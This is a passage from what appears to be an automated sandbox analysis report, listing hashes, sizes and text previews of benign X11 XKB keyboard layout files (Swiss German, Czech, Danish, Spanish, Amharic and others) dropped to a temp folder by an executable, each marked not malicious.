SHA-256:	6478B4EB61392E076D9D6D8941635BC4CA9992430FB2FFA2913E7AEE95BBA944
SHA-512:	35CC29A53E2985F979F735760A218B71BF40DB1CEB863135E7E25F01AC0E3874801C1035472E06596682718F3A29B3DBEB6DE1906C42C761F2972B4FBB1E6E3E
Malicious:	false
Preview:	default partial alphanumeric_keys.xkb_symbols "basic" {.. include "latin". name[Group1]= "German (Switzerland)";.. key <TLDE> { [ section, degree ] };. key <AE01> { [ 1, plus, bar, exclamdown ] };. key <AE02> { [ 2, quotedbl, at, oneeighth ] };. key <AE03> { [ 3, asterisk, numbersign ] };. key <AE04> { [ 4, ccedilla ] };. key <AE05> { [ 5, percent ] };. key <AE06> { [ 6, ampersand, notsign ] };. key <AE07> { [ 7, slash, bar ] };. key <AE08> { [ 8, parenleft, cent ] };. key <AE09> { [ 9, parenright ] };. key <AE10> { [ 0, equal ] };. key <AE11> { [ apostrophe, question, dead_acute ] };.

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\symbols\cm

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	Unicode text, UTF-8 text, with very long lines (435)
Category:	dropped
Size (bytes):	23033
Entropy (8bit):	5.448659264841432
Encrypted:	false
SSDEEP:	384:yanacucHcsK7lWTCiI4Jcjv48uTZPxt7J263a54hzl497JTVSBlD9ku7NbJHkcVa:3natcH3JcMz3aijWFVSPlpVyVb9
MD5:	C6CC0A0C9E80D6858DE79A149FFAA89B
SHA1:	7891403F90D1AE7605625A8BB160955AA9C47AF6
SHA-256:	24598D4C5FEA2BB55AAC2B8702AA582738FC314027413D6711E2317D2E1C7F0B
SHA-512:	A17C48CED3A5CED8E9E298E024095572F3F6CECAF3E216100151ADFD451AFE94D047C1EDDCE3BF74B1E31BDFC70AFEDF2BCFBA6CF7A0ACED23ED65143A61000D
Malicious:	false
Preview:	// ========== Cameroon Keyboards ==========.// **** For Instructions, see "Use of Cameroon Keyboards" section.below ***...// The XKB versions of these keyboards were developed by Matthew Lee, Jenni Beadle, and Bruce Cox of SIL Cameroon in association with Going Komputya, Uwe Yung of the Goethe Institute, Yaound., and Centre ANACLAC. ..// Cameroon is officially a bilingual country, using French and English, but there are over 270 minority languages. ..// Cameroon Fran.ais is an exact copy of the French France keyboard intended for AZERTY users..// * Cameroon is an exact copy of the Basic US Keyboard. I can not currently name this "Cameroon English" due to a limitation of XKB..// * Cameroon QWERTY and Cameroon AZERTY are based largely on SIL Cameroon's Keyman and Microsoft keyboards of the same style already in wide use. These keyboards are designed to allow the user to type any of Cameroon's 270+ languages and dialects that use the approved orthography. This Approved Orthog

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\symbols\cn

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	Unicode text, UTF-8 text
Category:	dropped
Size (bytes):	12017
Entropy (8bit):	4.989837860094274
Encrypted:	false
SSDEEP:	192:4s96tT9QHaW/f5vW8bBdtT9I5gKzSq6Q03nBLbH/euW/BfgYwffq5IkXc:4sQ9QHZnzdtBI5gKzSpQ03nBLbH/eu2o
MD5:	1D7898056BA8B9E3E4D37A076BDEC8A6
SHA1:	702CA32DC7162C085B2C7777C17075FDC08A72DE
SHA-256:	FEF5DE0A947A590CE844E98945A52252E44DC701A0D1BB109F33381FEBCB35EF
SHA-512:	50C3AA4592C087FB278316CEB29846563F5925D0C0B476797CED3EB4D924B165D6E9570F53207D16DCDA595C87FC922CB99B8F290CCAE629C0B3995DB282DCAA
Malicious:	false
Preview:	//.// Default Chinese is the same as American.//.default partial alphanumeric_keys.xkb_symbols "basic" {. include "us(basic)".. name[Group1]= "Chinese";.};..// Tibetan Standard Keyboard map for XKB/X.org.//.// Based on the CNS Tibetan keyboard as supported by Windows Vista.// using information published by Tashi Tsering:.// http://www.yalasoo.com/English/docs/yalasoo_en_MStbKb.html.//.// XKB version by Rich Felker <dalias@aerifal.cx>..//.// The CNS Tibetan keyboard standard specifies 5 keyboards worth of keys,.// but apparently makes no requirements about how each is accessed. Only.// the first 2 are needed for native Tibetan text; the remainder are.// filled with special symbols and letters for transliterating foreign.// text. Further, CNS leaves the level of support of keyboards 2-5 as an.// option to the implementor (despite the fact that #2 is absolutely.// essential...). Windows Vista maps them as follows:.//.// 1. Unshifted.// 2. "m"-key-prefixed.// 3. Shift-modified.// 4.

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\symbols\compose

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	2303
Entropy (8bit):	5.155735810219819
Encrypted:	false
SSDEEP:	48:pYyERiF+yERiFptiF2yERiFhVbiFQyERiFPfeAiFFxJyERiFRsvpbiFr3JyERiF3:myeiYyeiliQyeihiKyeiPiBJyei7stiS
MD5:	E0690E93330C8565E071B86ACF8D14A0
SHA1:	CF46DBE0FA698EE30137AB0DD5F5093EADE8DB3C
SHA-256:	4DE671ECA3B5CF375C4A4232EB23C68F64B25F836B34A8B180467FF0F4AD5A5D
SHA-512:	B11F85006BED2922D3B019B16B9F8118781C316A8B5CBAA4C6943426715F4F390B7299BAD43041BC1959E7BC96E4CD8B8B534F052468B72D35521ADA7A39E045
Malicious:	false
Preview:	partial modifier_keys.xkb_symbols "ralt" {. key <RALT>.{ type[Group1]="TWO_LEVEL", [ Multi_key, Multi_key ] };.};..partial modifier_keys.xkb_symbols "lwin" {. key <LWIN>.{ type[Group1]="TWO_LEVEL", [ Multi_key, Multi_key ] };.};..partial modifier_keys.xkb_symbols "lwin-altgr" {. key <LWIN>.{ type[Group1]="FOUR_LEVEL", [ Super_L, Super_L, Multi_key, Multi_key ] };.};..partial modifier_keys.xkb_symbols "rwin" {. key <RWIN>.{ type[Group1]="TWO_LEVEL", [ Multi_key, Multi_key ] };.};..partial modifier_keys.xkb_symbols "rwin-altgr" {. key <RWIN>.{ type[Group1]="FOUR_LEVEL", [ Super_R, Super_R, Multi_key, Multi_key ] };.};..partial modifier_keys.xkb_symbols "menu" {. key <MENU>.{ type[Group1]="TWO_LEVEL", [ Multi_key, Multi_key ] };.};..partial modifier_keys.xkb_symbols "menu-altgr" {. key <MENU>.{ type[Group1]="FOUR_LEVEL", [ Menu, Menu, Multi_key, Multi_key ] };.};..partial modifier_keys.xkb_symbols "rctrl" {. key <RCTL> { type[Group1]="TWO_LEVEL", [ Multi_key, Multi

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\symbols\ctrl

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1815
Entropy (8bit):	4.8712416469002875
Encrypted:	false
SSDEEP:	48:Io3QLOlJjeNeAUEgD8MeNAKUeg+DPC4yCkvge7C2ggFka:Io3K0Jwed/D8XA7d+DPhyMOegFt
MD5:	1786DEBEF7CFBA8A90305287C15766FD
SHA1:	6D86C6D66C84F01997006BA9F3C61AE7873F2C39
SHA-256:	876F3F17A2CDB97A8EDCC2703C81D8F844B650243A69E93075FE032320014665
SHA-512:	519543A96945E58580922E780AB5D45FC7144B41B7D0DC2F0BA0D6714A29A390B0BE9A0D6C9E80669512410D4F299D0F3911E26E68FF9E9ED13CACE52CA57B53
Malicious:	false
Preview:	// Eliminate CapsLock, making it another Ctrl..partial modifier_keys .xkb_symbols "nocaps" {. replace key <CAPS>.{ [ Control_L, Control_L ] };. modifier_map Control { <CAPS>, <LCTL> };.};..// Make the left Ctrl key a left Meta..xkb_symbols "lctrl_meta" {. replace key <LCTL>.{ [ Meta_L ] };.};..// Swap the functions of the CapsLock key and the left Ctrl key..partial modifier_keys .xkb_symbols "swapcaps" {. replace key <CAPS>.{ [ Control_L ] };. replace key <LCTL>.{ [ Caps_Lock ] };.};..// Move Ctrl to the leftmost key on the middle row and CapsLock to the.// leftmost key on the bottom row. Only works if the geometry or keycodes.// file has defined appropriate aliases for the keys in question..partial modifier_keys .xkb_symbols "ac_ctrl" {. replace key <AC00>.{ [ Control_L ] };. replace key <AA00>.{ [ Caps_Lock ] };.};..// Move Ctrl to the leftmost key on the bottom row and CapsLock to the.// leftmost key on the middle row. Only works if the geometry or keycodes./

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\symbols\cz

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	Unicode text, UTF-8 text
Category:	dropped
Size (bytes):	8150
Entropy (8bit):	4.520201044965708
Encrypted:	false
SSDEEP:	192:wF+QjKH2Pbl7aA4QKj0Xof+HrlONWQKAG:wkQeH2zl7aA4QKjUof+HgNHKL
MD5:	743C63BFEF3507902D5CC9B9E5E1FC03
SHA1:	F5F9BB0308700F2FCBA65EC9E97B1C8AB284190A
SHA-256:	4C22A1EFDC057592843DC34A69A0EE602681CE4C53EF77E529114908BCEBEC9E
SHA-512:	C00016872779898C33DDE9DA5271C6EDB54B0A46CB803542D4F4DCE0F388D8D812F55315FCF0593CACA77AB7573E28B53042D57DF4421311FBED69617C58D5EE
Malicious:	false
Preview:	default partial alphanumeric_keys.xkb_symbols "basic" {. . // This layout conforms to a new cz compromise standard designed . // to satisfy most unix, windows and mac users.. // 2001 by Kamil Toman <ktoman@email.cz>.. include "latin".. name[Group1]= "Czech";.. key <TLDE>.{ [ semicolon, dead_abovering, grave, asciitilde ].};. key <AE01>.{ [ plus, 1, exclam, dead_tilde ].};. key <AE02>.{ [ ecaron, 2, at, dead_caron ].};. key <AE03>.{ [ scaron, 3, numbersign, dead_circumflex ] };. key <AE04>.{ [ ccaron, 4, dollar, dead_breve ].};. key <AE05>.{ [ rcaron, 5, percent, dead_abovering ] };. key <AE06>.{ [ zcaron, 6, asciicircum, dead_ogonek ].};. key <AE07>.{ [ yacute, 7, ampersand, dead_grave ].};. key <AE08>.{ [ aacute, 8, asterisk, dead_abovedot].};. key <AE09>.{ [ iacute, 9, b

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\symbols\de

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	Unicode text, UTF-8 text
Category:	dropped
Size (bytes):	47470
Entropy (8bit):	4.035906373758409
Encrypted:	false
SSDEEP:	768:L2sIBqrYFCZ5TX0OSil3sJFAbA3SSJHI93S8+FelYU:L2sIBqrYFCXD0JJISJHIdSeYU
MD5:	E62DAD62FE702993353FBE448252CFCB
SHA1:	1BB1414FE315F0004A4FBD4FA0577B781EDA9D76
SHA-256:	0ACF97E4E77FAF8C185269B3F7D5D2C0B26588AA65ADEADC30780AB9FD3239F6
SHA-512:	A520010C3676775457E526FDD71E02DDC0E53A84577968E5AA90B0F71F9F9C1B81700CDDD18E99536F5FE0B43A1BCD15CE0A8E491380A453C7F3C5264AD722AB
Malicious:	false
Preview:	// based on a keyboard map from an 'xkb/symbols/de' file..default.xkb_symbols "basic" {.. include "latin(type4)".. name[Group1]="German";.. key <AE02>.{ [ 2, quotedbl, twosuperior, oneeighth ].};. key <AE03>.{ [ 3, section, threesuperior, sterling ].};. key <AE04>.{ [ 4, dollar, onequarter, currency ].};.. key <AE11> {type[Group1]="FOUR_LEVEL_PLUS_LOCK", symbols[Group1]=. [ssharp, question, backslash, questiondown, 0x1001E9E ]};.// The unicode capital letter sharp s U+1E9E is transformed to "SS".// to match the rules for capitalizing sharp s in german..// If the capital sharp s is needed, delete the line.// starting with <U1E9C> from /usr/share/X11/locale/iso8859-15/Compose..// If both doubled S and capital sharp s are needed, use 0x1001E9E.// for capital sharp s and some free unicode codepoint like 0x1001E9C.// for doubled S. Don`t forget to change this in the Compose file, too... key <AE12>.{ [dead_

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\symbols\digital_vndr\lk

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	4361
Entropy (8bit):	5.264483332850246
Encrypted:	false
SSDEEP:	96:/PQ4YQHqKoTrCvmIN5pF+tdIJHtsJRKj1a/weL:zYQHbYrCeIdwusUS
MD5:	43DA7E0C6FDE549BEA7960B84D9CAE81
SHA1:	5CDF8EA329F0EEF5756A7B30BEB95771E029EE48
SHA-256:	3E89A73619C17C7DC97E80C7C8A9C283CA08A62C5DB0A7304725805967583C88
SHA-512:	C3BE90285A8036B64D5FB8727CB63E4A61DFE1245E6A9CB9A229651CEBF05C579BC4110F90B539C161F504E3A6F8B03727B877B76238CEE4DBCCE956CF8AA9E7
Malicious:	false
Preview:	//.//Copyright (c) 1996 Digital Equipment Corporation.//.//Permission is hereby granted, free of charge, to any person obtaining.//a copy of this software and associated documentation files (the.//"Software"), to deal in the Software without restriction, including.//without limitation the rights to use, copy, modify, merge, publish,.//distribute, sublicense, and sell copies of the Software, and to.//permit persons to whom the Software is furnished to do so, subject to.//the following conditions:.//.//The above copyright notice and this permission notice shall be included.//in all copies or substantial portions of the Software..//.//THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS.//OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF.//MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT..//IN NO EVENT SHALL DIGITAL EQUIPMENT CORPORATION BE LIABLE FOR ANY CLAIM,.//DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR.//OTHE

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\symbols\digital_vndr\pc

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	6199
Entropy (8bit):	5.088261950436708
Encrypted:	false
SSDEEP:	96:/PQ4YQHqKoTrCvbUmlN3Meua9w++ymIWHO0HH01Qe0L3Y6jT4vf:zYQHbYrCjUmXRh9w+1o/H9exO0H
MD5:	8EA4C351038A868C4F89257066946DB3
SHA1:	A9782301D8529C64804435ECDE41F7509B5587EC
SHA-256:	90DB0A1345504DB8DF4AB2552691D6E00736F3E55FE7EC031877E714AF4B07C3
SHA-512:	7F0548EAEF555E55FC1E0B2682758E9C4D151AA5E15B9971D5D17982A0A351AA5900A3873361E544748146DF1930A3CE9CCD58AEDD63A59B2B66DB44FDE47757
Malicious:	false
Preview:	//.//Copyright (c) 1996 Digital Equipment Corporation.//.//Permission is hereby granted, free of charge, to any person obtaining.//a copy of this software and associated documentation files (the.//"Software"), to deal in the Software without restriction, including.//without limitation the rights to use, copy, modify, merge, publish,.//distribute, sublicense, and sell copies of the Software, and to.//permit persons to whom the Software is furnished to do so, subject to.//the following conditions:.//.//The above copyright notice and this permission notice shall be included.//in all copies or substantial portions of the Software..//.//THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS.//OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF.//MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT..//IN NO EVENT SHALL DIGITAL EQUIPMENT CORPORATION BE LIABLE FOR ANY CLAIM,.//DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR.//OTHE

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\symbols\digital_vndr\us

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	7959
Entropy (8bit):	5.142127276413564
Encrypted:	false
SSDEEP:	192:zYQHbYrCjYpCkH+HKJxblW9McQYN/ZphRyILK3129:zYEYrCjECkH+HKJxblW9McRRp6ILK31q
MD5:	5093D2A15F033A836000C9FE0B1E96DC
SHA1:	AAB73503AF2ECD681B71829F06FD37D562C3E304
SHA-256:	73CE2B3B3C803733F5E3D980FF02A81BDF66E4EAE7366F9303D5349A4367FCA9
SHA-512:	964C1794E6B89356A79C30796CFE09A71946394793A0AD7F6A1E5CEB13691A4D609A4E6162B1C91B1E0B63064453ACE60638A12A193317C54CBFA9B26F22B065
Malicious:	false
Preview:	//.//Copyright (c) 1996 Digital Equipment Corporation.//.//Permission is hereby granted, free of charge, to any person obtaining.//a copy of this software and associated documentation files (the.//"Software"), to deal in the Software without restriction, including.//without limitation the rights to use, copy, modify, merge, publish,.//distribute, sublicense, and sell copies of the Software, and to.//permit persons to whom the Software is furnished to do so, subject to.//the following conditions:.//.//The above copyright notice and this permission notice shall be included.//in all copies or substantial portions of the Software..//.//THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS.//OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF.//MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT..//IN NO EVENT SHALL DIGITAL EQUIPMENT CORPORATION BE LIABLE FOR ANY CLAIM,.//DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR.//OTHE

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\symbols\digital_vndr\vt

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	5462
Entropy (8bit):	4.935319517199938
Encrypted:	false
SSDEEP:	96:/PQ4YQHqKoTrCvbhQ/FVZwIgRioY3H2RkQQDtLcyPTvGgX9r:zYQHbYrCjhQ/FnNOiR3OTFsygp
MD5:	14BED7F9ED518E33D8E4307CC4C17CC0
SHA1:	83D56898499694290FF4F3144B0D56B1DCE3BBBD
SHA-256:	88B0673C4FBF9F3B8BF4F8993C16C2B6BE3FAA296CAA3DB48B82CB60FF01D992
SHA-512:	0799BABBDE37A12E424C22441146D978B67DE30BCE3F0330F7DD8DDF899422D94E86EC057513C081BA622A01478671DB58000F9F5AADBB4318ACED1CBAE36CBF
Malicious:	false
Preview:	//.//Copyright (c) 1996 Digital Equipment Corporation.//.//Permission is hereby granted, free of charge, to any person obtaining.//a copy of this software and associated documentation files (the.//"Software"), to deal in the Software without restriction, including.//without limitation the rights to use, copy, modify, merge, publish,.//distribute, sublicense, and sell copies of the Software, and to.//permit persons to whom the Software is furnished to do so, subject to.//the following conditions:.//.//The above copyright notice and this permission notice shall be included.//in all copies or substantial portions of the Software..//.//THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS.//OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF.//MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT..//IN NO EVENT SHALL DIGITAL EQUIPMENT CORPORATION BE LIABLE FOR ANY CLAIM,.//DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR.//OTHE

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\symbols\dk

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	2395
Entropy (8bit):	4.754258747049761
Encrypted:	false
SSDEEP:	24:XPcT608ynFRBmDTGga4Y+yLd1zy8O2GpGoLde603o8XYyKCxp4bSA21NxJq/Pdyd:Q8yFRwYh5+GXGy5oeuc8DlV6oqo5ZoPv
MD5:	ED86AA87EE3530845D217AA7A46ACC1B
SHA1:	719E3F6FE25D27371721695E99205F88C9EF3867
SHA-256:	827B1DCDCCBCDA9CB221A9EC8DEF2C50323A8F023E12A287DCEE7B0C55A2390B
SHA-512:	C2BD5880BC34DE885F7D5EA939F26BB7B098A2670C7E2D86CE61690C06BD60C9B1A58D8699C026777CC936AB4B7645D942E65395CA195CB47335F9BACFC97A18
Malicious:	false
Preview:	// based on a keyboard map from an 'xkb/symbols/dk' file..default partial alphanumeric_keys.xkb_symbols "basic" {.. include "latin(type2)".. name[Group1]="Danish";.. key <AE11>.{ [ plus, question, plusminus, questiondown ].};. key <AE12>.{ [dead_acute, dead_grave, bar, brokenbar ].};... key <AC10>.{ [ ae, AE, dead_acute, dead_doubleacute ] };. key <AC11>.{ [ oslash, Ooblique, dead_circumflex, dead_caron ].};. key <TLDE>.{ [ onehalf, section, threequarters, paragraph ].};.. key <BKSL>.{ [apostrophe, asterisk, dead_doubleacute, multiply ].};.. key <LSGT>.{ [ less, greater, backslash, notsign ].};.. include "kpdl(comma)".. include "level3(ralt_switch)".};..partial alphanumeric_keys.xkb_symbols "nodeadkeys" {.. include "dk(basic)".. name[Group1]="Danish (eliminate dead keys)";.. key <AE12>.{ [ acute, grave, bar, ogonek ].};. key <AD11>.{ [ aring,

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\symbols\ee

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	Unicode text, UTF-8 text
Category:	dropped
Size (bytes):	4168
Entropy (8bit):	4.642536385592189
Encrypted:	false
SSDEEP:	48:SMnrYzv821ky0U/sVt1jIdx2S0npDzsoxPBaqZF2AHTp5+K0gfw4kdbi:FnrYzvP18ssTdID29pfsotBpTaKHfwa
MD5:	F5591A8C42CCF3DE397FD5E3109BB720
SHA1:	17137BB85DB21AA574C73730B41A1CE4CED35874
SHA-256:	1D8393FA9E18EE8DC88DDEFE0318A2310447B2527B6DDF2284FFF76D4AC01C78
SHA-512:	E7B079A1F3F66CF0142C0338F84A89F312F02A837F85E64273CDB8C3CD99E965573A6A964E536D94DA89115711799295511FBB71451FDB60102E52CE98D02E98
Malicious:	false
Preview:	// based on.// Estonian XKB-keymap by Ville Hallik <ville@linux.ee>.//..default partial alphanumeric_keys.xkb_symbols "basic" {.. // Describes the differences between a very simple en_US. // keyboard and a very simple Estonian keyboard. // This layout conforms to both EVS8:1993 and EVS8:2000 standards.. include "latin(type4)".. name[Group1]="Estonian";.. key <AE03>.{ [ 3, numbersign, sterling, sterling ].};. key <AE04>.{ [ 4, currency, dollar, dollar ].};. key <AE11>.{ [ plus, question, backslash, questiondown ].};. key <AE12>.{ [dead_acute, dead_grave, grave, apostrophe ].};.. key <AD11>.{ [udiaeresis, Udiaeresis, dead_diaeresis, dead_abovering ] };. key <AD12>.{ [ otilde, Otilde, section, dead_macron ].};.. key <AC02>.{ [ s, S, scaron, Scaron ].};. key <AC10>.{ [odiaeresis, Odiaeresis, dead_acute, dead_doubleacute ] };. key <AC11>.{ [adiaeres

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\symbols\empty

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	101
Entropy (8bit):	4.731743624335639
Encrypted:	false
SSDEEP:	3:Ng/GkEk1MtvcWZBPF0H90aHtwFFFCIAKx4oAmzv:NgBEk1av10d0fFYbKx4oA4
MD5:	83FC79F9868BB6E455CF5E409C71B140
SHA1:	3BA47F6EC6ED740510A3FBB5F6B90FC23B22DE67
SHA-256:	BD92DE64321C5ACDE40046673CEAC3649DB2C6FBB72AEF2A8C4EF5229163A91F
SHA-512:	EBB3F09CEE38661169932F417580AA0A59C4DC7C20DDBBC3BF20CD04ADD7D0E071BCE9AD258F0A772D2F88680131417B4CADD6100680057A30602A437BA60765
Malicious:	false
Preview:	default partial alphanumeric_keys modifier_keys.xkb_symbols "basic" {. name[Group1]= "Empty";.};.

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\symbols\epo

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	Unicode text, UTF-8 text
Category:	dropped
Size (bytes):	7633
Entropy (8bit):	4.487336317466797
Encrypted:	false
SSDEEP:	96:gHWpcSHj4Y3hJdXNdfOEJhEGrVaypdXr2Mo7eigGSvKy:g0D4Qd9df9+Gd2MoN/4L
MD5:	840301671BDDE65AB6AB134622F09CCF
SHA1:	D2FBA3C382EFB3FC1C5D0DF10CA1A4FB5412E1EF
SHA-256:	B0FE1E0C289E1DEA0A7B814A061C950232F8D4759940E9FAFCC291019D6097B0
SHA-512:	C5736D8FC8D53E8966A854AB7526473083F7F0D18443045415E77AAB2089926049E106E6C794F4C28D664B5AA9184E33A4E12271504F8FF7941053EBA43F67E7
Malicious:	false
Preview:	// Esperanto keyboard maps -- "Ekverto".//.// Ekverto A ("legacy") (2004-01-10).// Chusslove Illich (.aslavo Ili.o) <caslav.ilic@gmx.net>.//.// Ekverto B ("basic") (2006-12-02).// Benno Schulenberg (Beno S.ilenber.) <bensberg@justemail.net>.// Chusslove Illich (.aslavo Ili.o) <caslav.ilic@gmx.net>..default partial alphanumeric_keys.xkb_symbols "basic" {.. name[Group1]= "Esperanto";.. include "us(basic)".. key.type[Group1] = "FOUR_LEVEL_ALPHABETIC";.. key <AD01> { [ scircumflex, Scircumflex, q, Q ] };. key <AD02> { [ gcircumflex, Gcircumflex, w, W ] };. key <AB02> { [ ccircumflex, Ccircumflex, x, X ] };. key <AD06> { [ ubreve, Ubreve, y, Y ] };.. key.type[Group1] = "FOUR_LEVEL_SEMIALPHABETIC";.. key <AD11> { [ jcircumflex, Jcircumflex, bracketleft, braceleft ] };. key <AD12> { [ hcircumflex, Hcircumflex, bracketright, braceright ] };.. key <AD09> { [ o,

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\symbols\es

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	10068
Entropy (8bit):	4.56003699355744
Encrypted:	false
SSDEEP:	192:UzkaJ1vayY821RSDXUG/napwWhCOaJWYWQt6+O7VxSzgL6gkruLun5fy:Uzka7vayY8CR8kGPaptaAhQt6X73Szg9
MD5:	50F60DD29CE94CFAC698294BAC9C1956
SHA1:	01119C15F2373AA93851F3E6F5390765A0CFABDF
SHA-256:	B0F496C244DC46651B9C5C22DD5DAA2917845E1E144386FD224B508DF9ED0CA3
SHA-512:	62E508DD478D1BD311896174EB9719F7BB1837AC64C9E31591BE58D1BC4AFFE66A47B7E58310AEA28D4466BD66DE308DA0A7EB28F0BD4AD5AC43030FEB153CE6
Malicious:	false
Preview:	// Modified for a real Spanish keyboard by Jon Tombs...default partial alphanumeric_keys.xkb_symbols "basic" {.. include "latin(type4)".. name[Group1]="Spanish";.. key <AE01>.{ [ 1, exclam, bar, exclamdown ].};. key <AE03>.{ [ 3, periodcentered, numbersign, sterling ].};. key <AE04>.{ [ 4, dollar, asciitilde, dollar ].};. key <AE06>.{ [ 6, ampersand, notsign, fiveeighths ].};. key <AE11>.{ [apostrophe, question, backslash, questiondown ].};. key <AE12>.{ [exclamdown, questiondown, dead_tilde, asciitilde ].};.. key <AD11>.{ [dead_grave, dead_circumflex, bracketleft, dead_abovering ] };. key <AD12>.{ [ plus, asterisk, bracketright, dead_macron ].};.. key <AC10>.{ [ ntilde, Ntilde, asciitilde, dead_doubleacute ].};. key <AC11>.{ [dead_acute, dead_diaeresis, braceleft, braceleft ].};. key <TLDE>.{ [ masculine, ordfeminine, backslash, backslash ].};.. key

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\symbols\et

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	3134
Entropy (8bit):	4.405117192800045
Encrypted:	false
SSDEEP:	48:HzjGWE6qK/lOa1Jh7SfOQ+mjyPFuMksIaLUbFLtg3:HzYEUajhAO3CyKXVbFLQ
MD5:	7F2E876F4D4703BA48836DE05B72E98B
SHA1:	31831AF1B34D5208524D16595BC1A07398747825
SHA-256:	C49159F94D74FABB6C1324B1F2CFCE313F25C68584821B1748B9AD59715B0888
SHA-512:	550D47793E3634B7CE125A5A42EF2E426BD3BEB52DF9FCEBE134EE51C236978F56112754DA47A93949F8D8293D01147A6A5CE9479AD74C29AFFFCA1F3897819A
Malicious:	false
Preview:	//.// Ethiopia.// Designed as a part of OLPC project.//.// 2007 Sergey Udaltsov <svu@gnome.org>.//..default partial alphanumeric_keys.xkb_symbols "basic" {. include "et(olpc)". name[Group1]="Amharic";.};..partial alphanumeric_keys.xkb_symbols "olpc" {.. name[Group1]="Amharic";.. key <AE01>.{ [ 0x01001369, 0x01001372 ] }; // 1. key <AE02>.{ [ 0x0100136a, 0x01001373 ] }; // 2. key <AE03>.{ [ 0x0100136b, 0x01001374 ] }; // 3 . key <AE04>.{ [ 0x0100136c, 0x01001375 ] }; // 4. key <AE05>.{ [ 0x0100136d, 0x01001376 ] }; // 5. key <AE06>.{ [ 0x0100136e, 0x01001377 ] }; // 6. key <AE07>.{ [ 0x0100136f, 0x01001378 ] }; // 7. key <AE08>.{ [ 0x01001370, 0x01001379 ] }; // 8. key <AE09>.{ [ 0x01001371, 0x0100137a ] }; // 9. key <AE10>.{ [ 0x0100137b, 0x0100137c ] }; // 0. key <AE11>.{ [ minus, underscore ] }; // -_. key <AE12>.{ [ equal, plus

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\symbols\eurosign

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	629
Entropy (8bit):	4.842727422048427
Encrypted:	false
SSDEEP:	12:jCMmGMxhCUMmGkIw53C6YMmG7hUC0MmGvERmFjCl:OMmGMnFMmGNwtfYMmG7hU9MmGcRSA
MD5:	32C5806265A68066ACD1225EB5CF54AB
SHA1:	12929768185494A7245B0C5D048577391F912F45
SHA-256:	EC63FD5AFA4E85B86C9502F8AD4F1B087AFD40967D24A3B01F8046F1A2407D63
SHA-512:	A34EB30B4EA0BAC6EC4363DA9C7AAFC4D1559A93B0923B0539AE76306A211C97403196B5E796366A1ACBB0163EB28268C78526D46584DAF94F6C0CCA5268B832
Malicious:	false
